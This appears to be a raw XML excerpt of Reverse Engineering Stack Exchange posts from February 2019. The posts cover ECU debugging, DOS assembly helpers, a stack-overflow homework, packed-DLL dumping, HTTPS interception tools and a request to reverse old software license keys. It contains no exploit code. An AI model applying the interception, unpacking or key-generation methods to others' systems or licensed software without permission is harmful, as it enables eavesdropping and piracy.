Hex view in IDA?" Tags="|ida|hex|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20702" PostTypeId="2" ParentId="20697" CreationDate="2019-02-24T12:45:17.907" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;b&gt;IDE:&lt;/b&gt; &lt;a href=&quot;https://hightec-rt.com/en/&quot; rel=&quot;nofollow noreferrer&quot;&gt;High Tech RT&lt;/a&gt; but it is usually tied up to one TriCore processor with other limitations. However you can compile your C into TriCore executable&#xA;&lt;li&gt;&lt;b&gt;JTAG Debugger:&lt;/b&gt; &lt;a href=&quot;https://www.infineon.com/cms/en/product/evaluation-boards/kit_miniwiggler_3_usb/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mini Wiggler&lt;/a&gt; from Infineon or if your budget allows that, Lauterbach. However ECUs are safety critical devices, so they use a system of internal and external watchdogs. If you set a breakpoint in TriCore, after hitting the breakpoint ECU usually reset itself. So OCDS can be (on production ECUs) used only as RAM monitor at best.&lt;br&gt;&#xA;Second problem which you will come across is, that most of TriCore ECUs has JTAG interface disabled because UCB0 is set.&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It should be obvious that you should first buy some development kit, &lt;a href=&quot;https://www.ehitex.de/en/application-kits/infineon/2523/aurix-application-kit-tc224-tft&quot; rel=&quot;nofollow noreferrer&quot;&gt;like this application kit which has integrated debugger&lt;/a&gt; and understand how TriCore's internals are working. It is going to be less frustrating for you than develop anything on security hardened production ECUs.&lt;/p&gt;&#xA;" OwnerUserId="27573" LastActivityDate="2019-02-24T12:45:17.907" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20703" PostTypeId="1" AcceptedAnswerId="20704" CreationDate="2019-02-24T13:24:52.843" Score="1" ViewCount="927" Body="&lt;p&gt;I'm in a reverse engineering class. Our current assignment is to edit a notepad.exe application. Just to start out, I opened my notepad.exe in FlexHex, went to the end of the.rsrc section, changed a byte in one of the stock text strings from &amp;quot;70&amp;quot; to &amp;quot;31&amp;quot; and then saved the new file as an .exe. The size of the section and the overall file remains the same. Below is the line I changed.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XDfp3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XDfp3.png&quot; alt=&quot;.rsrc line I changed&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I try to run the file, I get an error that Windows cannot run the file, specifically &amp;quot;This app cannot run on your PC&amp;quot;. I didn't think that I changed anything essential. I'm wondering if Windows is preventing me from running a modified version of a Window's program. Is there a way to specify that Windows should run this program?&lt;/p&gt;&#xA;&lt;p&gt;Any help is appreciated, thank you.&lt;/p&gt;&#xA;" OwnerUserId="27554" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-02-25T05:14:04.880" Title="Windows 10 will not run hex edited application" Tags="|operating-systems|binary-editing|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20704" PostTypeId="2" ParentId="20703" CreationDate="2019-02-24T16:12:55.803" Score="2" Body="&lt;p&gt;I think “notepad.exe” has been digitally signed by Microsoft. You cannot change it because the signature will ( very very probably) be invalid. The OS doesn’t trust it anymore. &lt;/p&gt;&#xA;" OwnerUserId="1517" LastEditorUserId="1517" LastEditDate="2019-02-25T05:14:04.880" LastActivityDate="2019-02-25T05:14:04.880" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20705" PostTypeId="1" CreationDate="2019-02-25T02:57:36.743" Score="1" ViewCount="917" Body="&lt;p&gt;With great hopes I have tried to use fakenet-ng for testing spoofing or MITM type vulnerabilities. The android app I am testing uses HTTPS POST, and with fakenet it stops short of sending any data because the app rejects the SSL certificate presumably created by fakenet. I also tried simply with Edge and Chrome on Windows 10, and same deal - I can't get to first base. I can't find any information about fakenet and certificates. Fakenet lists decrypting SSL as a great feature - but it seems pretty useless without a solution to the certificate problem - I must be missing something - how do I get applications to send HTTPS data to fakenet?&lt;/p&gt;&#xA;" OwnerUserId="27579" LastActivityDate="2019-03-28T13:47:37.237" Title="fakenet for apps using SSL" Tags="|tools|https-protocol|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20706" PostTypeId="1" CreationDate="2019-02-25T04:24:10.700" Score="1" ViewCount="1699" Body="&lt;p&gt;I am doing a reverse homework. see the following pictures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8ki03.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8ki03.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as can be seen from this picture, before call &lt;code&gt;push touch3&lt;/code&gt;, &quot;saved rip&quot; is at 0x5561dca8, which is equal to the current rsp(0x5561dca8).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;once called &lt;code&gt;push touch3&lt;/code&gt;, the &quot;saved rip&quot; is at 0x5561dca0, which is also equal to new rsp(0x5561dca0).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, why push instruction changed the &quot;saved rip&quot; address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fhzfy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fhzfy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27558" LastEditorUserId="245" LastEditDate="2019-03-05T21:06:04.433" LastActivityDate="2019-03-05T21:06:04.433" Title="why saved rip changed by push？" Tags="|assembly|linux|gdb|x86-64|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20707" PostTypeId="2" ParentId="20689" CreationDate="2019-02-25T07:04:23.723" Score="2" Body="&lt;p&gt;You can definitely edit the binary and implement a new function that handles caching and calls the original function as needed. Then just replace any call to your new cache-implementing function instead. You'll need to be careful when implementing the cache for a recursive function and decide if you wanna cache all intermediate results or only final results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for a fast solution, though, you may want to consider using an emulator as a way of running that function's code inside your program. Either using Unicorn, any other emulator or even IDAs app call for function execution.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2019-02-25T07:04:23.723" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20708" PostTypeId="2" ParentId="20706" CreationDate="2019-02-25T09:48:22.870" Score="2" Body="&lt;p&gt;Mainly, this is because the program did enough &lt;code&gt;pop&lt;/code&gt; previously to get &lt;code&gt;rsp&lt;/code&gt; just in front the saved &lt;code&gt;rip&lt;/code&gt;. Then, a simple &lt;code&gt;push&lt;/code&gt; will overwrite the saved &lt;code&gt;rip&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can notice on the first picture, your saved &lt;code&gt;rip&lt;/code&gt; is at &lt;code&gt;0x5561dca8&lt;/code&gt; and, your &lt;code&gt;rsp&lt;/code&gt; as well. Therefore, a &lt;code&gt;push&lt;/code&gt; operation will store the address of the &lt;code&gt;touch3&lt;/code&gt; function as return address of the stack-frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nothing really difficult here.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-02-25T09:48:22.870" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20709" PostTypeId="2" ParentId="20705" CreationDate="2019-02-25T10:04:17.043" Score="1" Body="&lt;p&gt;It seems that most of the people are better using the &lt;a href=&quot;https://mitmproxy.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;mitmproxy&lt;/code&gt;&lt;/a&gt; tool (see &lt;a href=&quot;https://docs.mitmproxy.org/stable/concepts-howmitmproxyworks/&quot; rel=&quot;nofollow noreferrer&quot;&gt;docs&lt;/a&gt;) together with &lt;a href=&quot;https://www.roe.ch/SSLsplit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;SSLsplit&lt;/code&gt;&lt;/a&gt; for this kind of usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just for the sake of completeness, here are a few pages explaining how to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/intercepting-ssl-and-https-traffic-with-mitmproxy-and-sslsplit/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intercepting SSL and HTTPS traffic with mitmproxy and SSLsplit&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.prodefence.org/mitm-attack-over-https-connection-with-sslstrip/&quot; rel=&quot;nofollow noreferrer&quot;&gt;MITM attack over HTTPS connection with SSLStrip&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blog.heckel.xyz/2013/08/04/use-sslsplit-to-transparently-sniff-tls-ssl-connections/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Use SSLsplit to transparently sniff TLS/SSL connections – including non-HTTP(S) protocols&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="53" LastActivityDate="2019-02-25T10:04:17.043" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20711" PostTypeId="1" CreationDate="2019-02-25T13:51:38.110" Score="2" ViewCount="531" Body="&lt;p&gt;This might be a stupid question, but I am trying to learn by myself and I encountered a problem which I cannot solve for the life of me. I tried googling and I can't find anything relevant, so here goes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the aaa command while not in debug mode, it works fine, but as soon as I go into debug mode and I go into the main function and type aaa, the following shows up:&#xA;[ ] Analyze all flags starting with sym. and entry0 (aa)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I press enter nothing happens and I can just type freely without any effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How am I supposed to proceed? &lt;/p&gt;&#xA;" OwnerUserId="27584" LastActivityDate="2019-12-10T11:02:30.363" Title="How to use aaa in radare2 while in -d (debug) mode?" Tags="|debugging|radare2|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20712" PostTypeId="1" AcceptedAnswerId="20716" CreationDate="2019-02-25T17:07:25.480" Score="7" ViewCount="1576" Body="&lt;p&gt;I have been trying to figure out the assembly for part of a DOS game and there is an operation that keeps getting called that uses all 4 registers.  I can see what each line does but I can't for the life of me figure out what all the code together is meant be doing.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone give me some idea?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:3825 some_math_op_on_regs proc far; CODE XREF: sub_72C6+19FP&#xA;seg000:3825                              ; sub_72C6+1DDP ...&#xA;seg000:3825       cmp     cl, 10h&#xA;seg000:3828       jnb     short loc_383A ; Jump if CF=0&#xA;seg000:382A       mov     bx, dx         ; c register is &amp;lt; 16; move d to b&#xA;seg000:382C       shr     ax, cl         ; Shift a right by value in c (logical)&#xA;seg000:382E       sar     dx, cl         ; Shift d right by value in c (arithmetic)&#xA;seg000:3830       neg     cl             ; Negate c (2's complement)&#xA;seg000:3832       add     cl, 10h        ; Add 16 to c&#xA;seg000:3835       shl     bx, cl         ; Shift b left by value in c (logical)&#xA;seg000:3837       or      ax, bx         ; OR a and b, store result in a&#xA;seg000:3839       retf&#xA;seg000:383A ; --------------------------------------------------------------------&#xA;seg000:383A&#xA;seg000:383A loc_383A:                    ; CODE XREF: some_math_op_on_regs+3j&#xA;seg000:383A       sub     cl, 10h        ; c register is &amp;gt;= 16; subtract 16 from c&#xA;seg000:383D       xchg    ax, dx         ; Switch values in a and d&#xA;seg000:383E       cwd                    ; Convert word to doubleword&#xA;seg000:383F       sar     ax, cl         ; Shift a right by value in c (arithmetic)&#xA;seg000:3841       retf&#xA;seg000:3841 some_math_op_on_regs endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22723" LastEditorUserId="53" LastEditDate="2019-02-25T19:27:33.547" LastActivityDate="2019-02-25T20:35:42.160" Title="What's this assembly doing?" Tags="|disassembly|x86|dos|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20715" PostTypeId="2" ParentId="20712" CreationDate="2019-02-25T20:33:46.530" Score="5" Body="&lt;p&gt;It appears to be a 32 bit right shift with the 32 bit number provided in &lt;code&gt;dx:ax&lt;/code&gt;, and &lt;code&gt;cl&lt;/code&gt; being the number of bits to shift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you assume &lt;code&gt;cl&lt;/code&gt; is over 16, a right shift by more than 16 bit only needs to care about the upper 16 bit, which are stored in &lt;code&gt;dx&lt;/code&gt;, because the lower 16 bit are shifted out anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So that's exactly what the 2nd block does. If &lt;code&gt;cl&lt;/code&gt; larger than 16, move &lt;code&gt;dx&lt;/code&gt; (upper 16 bit) into &lt;code&gt;ax&lt;/code&gt; and convert it to a 32 bit number, subtract 16 from &lt;code&gt;cl&lt;/code&gt; because this is implicitly done by ignoring the lower 16 bit, then shift the upper part (which is now &lt;code&gt;dx:ax&lt;/code&gt; thanks to the &lt;code&gt;cwd&lt;/code&gt;) by that number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't try to understand the top part, but my assumption is it does exactly the same for shift widths below 16 bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, it's a 32 bit right shift done in 16 bit architecture.&lt;/p&gt;&#xA;" OwnerUserId="23277" LastActivityDate="2019-02-25T20:33:46.530" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20716" PostTypeId="2" ParentId="20712" CreationDate="2019-02-25T20:35:42.160" Score="9" Body="&lt;p&gt;This looks like a 32-bit &lt;em&gt;shift right&lt;/em&gt; compiler helper. In 16-bit era, 32-bit numbers were represented by a pair of registers, in this case &lt;code&gt;ax:dx&lt;/code&gt;. The check for 16 is an optimization: if the shift is over 16, the low register value is lost completely, so it can be discarded and replaced by &lt;code&gt;dx&amp;gt;&amp;gt;(shift-16)&lt;/code&gt;, while the high register is filled with the sign bit as the result of the &lt;code&gt;cwd&lt;/code&gt; instruction. Here's the (lightly) commented source code from the Borland C runtime library which seems to match yours:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;;[]-----------------------------------------------------------------[]&#xA;;|      H_LRSH.ASM -- long shift right                               |&#xA;;[]-----------------------------------------------------------------[]&#xA;&#xA;;&#xA;;       C/C++ Run Time Library - Version 5.0&#xA;; &#xA;;       Copyright (c) 1987, 1992 by Borland International&#xA;;       All Rights Reserved.&#xA;; &#xA;&#xA;        INCLUDE RULES.ASI&#xA;&#xA;_TEXT   segment public byte 'CODE'&#xA;        assume  cs:_TEXT&#xA;        public  LXRSH@&#xA;        public  F_LXRSH@&#xA;        public  N_LXRSH@&#xA;&#xA;N_LXRSH@:&#xA;        pop     bx                      ;fix up for far return&#xA;        push    cs&#xA;        push    bx&#xA;LXRSH@:&#xA;F_LXRSH@:&#xA;        cmp     cl,16&#xA;        jae     lsh@small&#xA;        mov     bx,dx                   ; save the high bits&#xA;        shr     ax,cl                   ; now shift each half&#xA;        sar     dx,cl&#xA;;&#xA;;                       We now have a hole in AX where the lower bits of&#xA;;                       DX should have been shifted.  So we must take our&#xA;;                       copy of DX and do a reverse shift to get the proper&#xA;;                       bits to be or'ed into AX.&#xA;;&#xA;        neg     cl&#xA;        add     cl,16&#xA;        shl     bx,cl&#xA;        or      ax,bx&#xA;        retf&#xA;lsh@small:&#xA;        sub     cl,16                   ; for shifts more than 15, do this&#xA;                                        ; short sequence.&#xA;        xchg    ax,dx                   ;&#xA;        cwd                             ; We have now done a shift by 16.&#xA;        sar     ax,cl                   ; Now shift the remainder.&#xA;        retf&#xA;_TEXT   ends&#xA;        end&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-02-25T20:35:42.160" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20717" PostTypeId="1" CreationDate="2019-02-25T22:04:07.650" Score="1" ViewCount="1739" Body="&lt;p&gt;I am trying to analyze lua functions of game but dll is packed and I can't see them. I tried to dump dll with scylla &lt;a href=&quot;https://github.com/NtQuery/Scylla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/NtQuery/Scylla&lt;/a&gt; but I still didn't get lua functions. Can someone please help me to dump dll?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dll is part of Watch Dogs game(It's called Disrupt_b64.dll) and it has VMProtector.&#xA;When I opened dll in IDA I first got error:&#xA;Can't find translation for relative virtual address 03ACF000, continue?&#xA;After that I got error:&#xA;The imports segment seems to be destroyed. This MAY mean that the file was packed or otherwise modified in order to make it more difficult to analyze.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I opened dumped dll from Scylla I only got second error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone on I read on this site &lt;a href=&quot;https://blog.lms-dev.com/category/watch-dogs/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.lms-dev.com/category/watch-dogs/&lt;/a&gt; successfully got that lua functions(collectgarbage, dofile, error, gcinfo). He said on site to unpack dll attach IDA to the process and dump the loader segments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disrupt_b64.dll looked like this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/kVmgU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kVmgU.png&quot; alt=&quot;Disrupt_b64.dll&quot;&gt;&lt;/a&gt;&#xA;Dumped Disrupt_b64.dll looked like this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LkoMF.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LkoMF.jpg&quot; alt=&quot;Dumped Disrupt_b64.dll&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27538" LastEditorUserId="27538" LastEditDate="2019-02-26T08:24:50.247" LastActivityDate="2019-02-26T08:24:50.247" Title="Dump packed dll" Tags="|dll|dumping|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20718" PostTypeId="1" AcceptedAnswerId="20727" CreationDate="2019-02-25T22:19:23.173" Score="1" ViewCount="197" Body="&lt;p&gt;I've disassembled an old DOS program into assembly and I'm trying to figure out a function call.  Here is the ASM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;seg000:373C ; ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦ S U B R O U T I N E ¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦&#xA;seg000:373C&#xA;seg000:373C&#xA;seg000:373C sub_373C        proc far                ; CODE XREF: sub_72C6+16BP&#xA;seg000:373C                                         ; sub_72C6+18FP ...&#xA;seg000:373C                 push    si              ; Temp. store si on stack so we can restore it later&#xA;seg000:373D                 xchg    ax, si&#xA;seg000:373E                 xchg    ax, dx&#xA;seg000:373F                 test    ax, ax&#xA;seg000:3741                 jz      short loc_3745&#xA;seg000:3743                 mul     bx              ; Multiply b by a IIF a is non-zero&#xA;seg000:3745&#xA;seg000:3745 loc_3745:                               ; CODE XREF: sub_373C+5j&#xA;seg000:3745                 jcxz    short loc_374C&#xA;seg000:3747                 xchg    ax, cx&#xA;seg000:3748                 mul     si&#xA;seg000:374A                 add     ax, cx&#xA;seg000:374C&#xA;seg000:374C loc_374C:                               ; CODE XREF: sub_373C:loc_3745j&#xA;seg000:374C                 xchg    ax, si&#xA;seg000:374D                 mul     bx&#xA;seg000:374F                 add     dx, si&#xA;seg000:3751                 pop     si              ; Restore old si&#xA;seg000:3752                 retf&#xA;seg000:3752 sub_373C        endp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Frankly it just seems to be jumbling the registers around to me.  My best guess is that it's some kind of primitive pseudo-random number generator.  Can anyone confirm this or if not, tell me what it's actually meant to do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;br&gt;&#xA;I've tried dry-running the code, and as far as I can tell, the following is the end result of the registers (can anyone confirm I've got this right and tell me what useful mathematical function it might be doing?):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ax: ( ax * bx )&#xA;bx: bx&#xA;cx: cx&#xA;dx: ax + ( (bx * dx) + (ax * cx) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22723" LastEditorUserId="22723" LastEditDate="2019-02-26T22:11:01.157" LastActivityDate="2019-02-26T22:42:16.960" Title="Assembly that just seems to be a jumble" Tags="|disassembly|x86|dos|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20720" PostTypeId="1" CreationDate="2019-02-25T22:26:35.310" Score="1" ViewCount="60" Body="&lt;p&gt;Hi I am a Service Engineer on some very old ASML stppers that run a system called PAS (Philips automated steppers), these steppers are obsoleted by the manufacturer and no longer supported by anyone.  I have the install software but it requires a software key that I dont have.  What I do have is 6 software keys from a previous version of software(I dont have) and would like to try and see how these keys are generated so I can generate new ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not very good at software issues but I can manage if I can get some ideas what way to go, I recently talked with the manufacturer and since they no longer support these are free to do with what we want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a non standard system, neither windows or unix can view the file structure, I am able to use Acrius software to image the hard drives successfully, now I just need to be able to install software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions? Is there a way to use the old keys and info the tool asks for to decode the old keys?&lt;/p&gt;&#xA;" OwnerUserId="27593" LastActivityDate="2019-02-25T22:26:35.310" Title="1990s non windows software keys" Tags="|decryption|" AnswerCount="0" CommentCount="2" ClosedDate="2019-03-07T02:13:20.900" ContentLicense="CC BY-SA 4.0" />
  <row Id="20722" PostTypeId="2" ParentId="19852" CreationDate="2019-02-26T13:40:02.820" Score="1" Body="&lt;p&gt;I dont know if you're still looking for an answer. But my best guess is that you have a firmware of a China TV/box board. In that case, download the &quot;MStar Android TV firmware tools&quot; and unpack the BIN file using it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find the tools here: &lt;a href=&quot;https://forum.xda-developers.com/android/software/tools-mstar-android-tv-firmware-tools-t3559227&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.xda-developers.com/android/software/tools-mstar-android-tv-firmware-tools-t3559227&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27606" LastActivityDate="2019-02-26T13:40:02.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20724" PostTypeId="2" ParentId="20718" CreationDate="2019-02-26T14:53:24.200" Score="2" Body="&lt;p&gt;It looks like the code is specifically generating these outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ax: (ax * bx)&#xA;dx: (bx * dx + ax * cx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is under the assumption that the &lt;code&gt;mul&lt;/code&gt; instructions never have operands large enough to set &lt;code&gt;dx&lt;/code&gt; to a non-zero value. (If that is true, it seems kinda weird that &lt;code&gt;seg000:374F&lt;/code&gt; is an &lt;code&gt;add&lt;/code&gt; and not just an &lt;code&gt;xchg&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe it's calculating the addition of two fractions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;dx   cx   (bx * dx + ax * cx)&#xA;-- + -- = -------------------&#xA;ax   bx        (ax * bx)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12017" LastActivityDate="2019-02-26T14:53:24.200" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20725" PostTypeId="1" CreationDate="2019-02-26T16:12:29.127" Score="1" ViewCount="1712" Body="&lt;p&gt;I have two kinds of ELF files, built from C++.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.so&lt;/code&gt; files:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, BuildID[sha1]=5e751e769912aef28bc63b888e5e4904b867a180, stripped&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And executables:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c215d8895277612d3f4332836f48dd45967f69d, stripped&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I am completely new to reverse engineering, and I have been experimenting with &lt;code&gt;objdump&lt;/code&gt;, &lt;code&gt;readelf&lt;/code&gt; and &lt;code&gt;nm&lt;/code&gt;, but I still need some help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to find &lt;strong&gt;function calls&lt;/strong&gt; to a few functions from a library, &lt;em&gt;without executing the binaries&lt;/em&gt; (i.e., static analysis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the above commands, I know the symbols are used, but I do not know which arguments are passed to the calls, or how many times the function was called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I would like to get something close to the original source code, e.g.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;thelib::TheClass::theFunction(&quot;a&quot;, b, c);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I understand this is hard to achieve. I would be content just by retrieving whether the first argument was a string literal (and its value) or something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with existing tools, such as the above (possibly with specific options), or would I have to implement something of my own?&lt;/p&gt;&#xA;" OwnerUserId="27609" LastActivityDate="2019-02-26T16:12:29.127" Title="Finding function call (with arguments) in ELF file" Tags="|c++|elf|static-analysis|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20726" PostTypeId="2" ParentId="20686" CreationDate="2019-02-26T19:50:03.587" Score="2" Body="&lt;p&gt;The protocol spec clearly does not apply to your device, so don't bother trying to use its checksum calculation. However it may be similar enough to provide some clues to the actual protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The protocol should include some method of synchronizing the serial data stream. In the (incorrect) spec this could be done using the high nibbles (8,9,A,B) that all have bit 7 set. In your data only bytes A7 and B7 have bit 7 set, which suggests that this bit is used for synchronization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bytes A4-A6 and B4-B6 appear to be digit and flag data. Bytes A2 and B2 match the fixed value for &lt;code&gt;sub_ADDR&lt;/code&gt; in the spec, which suggests they perform the same function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A1,A3,A8,B1,B3 and bits 6-0 of A7 and B7 are unaccounted for. A1,A3,B1,B3 may be the high and low address nibbles, and A8 appears to be a constant value. Bits 2-0 of A7 and bits 3-0 of B7 are always 0 in your data, which leaves bits 6-3 of A7 and bits 6-4 of B7 as potential checksum bits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the digits are different on each line, so the checksum should also be different (though some lines may produce the same checksum). Combining A7 bits 6-3 and B7 bits 6-4 to produce a single 7 bit Hex number,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A7   A7    B7   B7   B7+A7&#xA;   (6..3)     (6.4)  (Hex) (ID#)&#xA;d8  1011   e0  110    6B     1&#xA;c0  1000   80  000    08     2&#xA;a8  0101   a0  010    25     3&#xA;90  0010   c0  100    42     4&#xA;f8  1111   e0  110    6F     5&#xA;e0  1101   80  000    0B     6&#xA;c8  1001   a0  010    29     7&#xA;b0  1010   c0  100    4A     8&#xA;98  0011   e0  110    63     9&#xA;80  0000   80  000    00     10&#xA;e0  1100   80  000    0C     11&#xA;80  0000   80  000    00    (10)&#xA;a0  0100   80  000    04     12&#xA;c0  1000   80  000    08     (2)&#xA;e0  1100   80  000    0C    (11)&#xA;80  0000   80  000    00    (10)&#xA;a0  0100   80  000    04    (12)&#xA;c0  1000   80  000    08     (2)&#xA;e0  1100   80  000    0C    (11)&#xA;80  0000   80  000    00    (10)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first 11 lines in your data dump all have unique 'checksums'. Looking good so far! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next 9 lines are not so good, as they have many duplicate values. However I have not attempted to calculate checksums of address and data bytes. Depending on the algorithm used, some lines may be expected to produce the same checksum.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a thorough analysis I would capture more data with as many different digit and flag combinations as possible, then write a program to create checksums with various algorithms until one matches the bits in A7 and B7.&lt;/p&gt;&#xA;" OwnerUserId="27393" LastEditorUserId="27393" LastEditDate="2019-02-26T19:58:58.857" LastActivityDate="2019-02-26T19:58:58.857" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
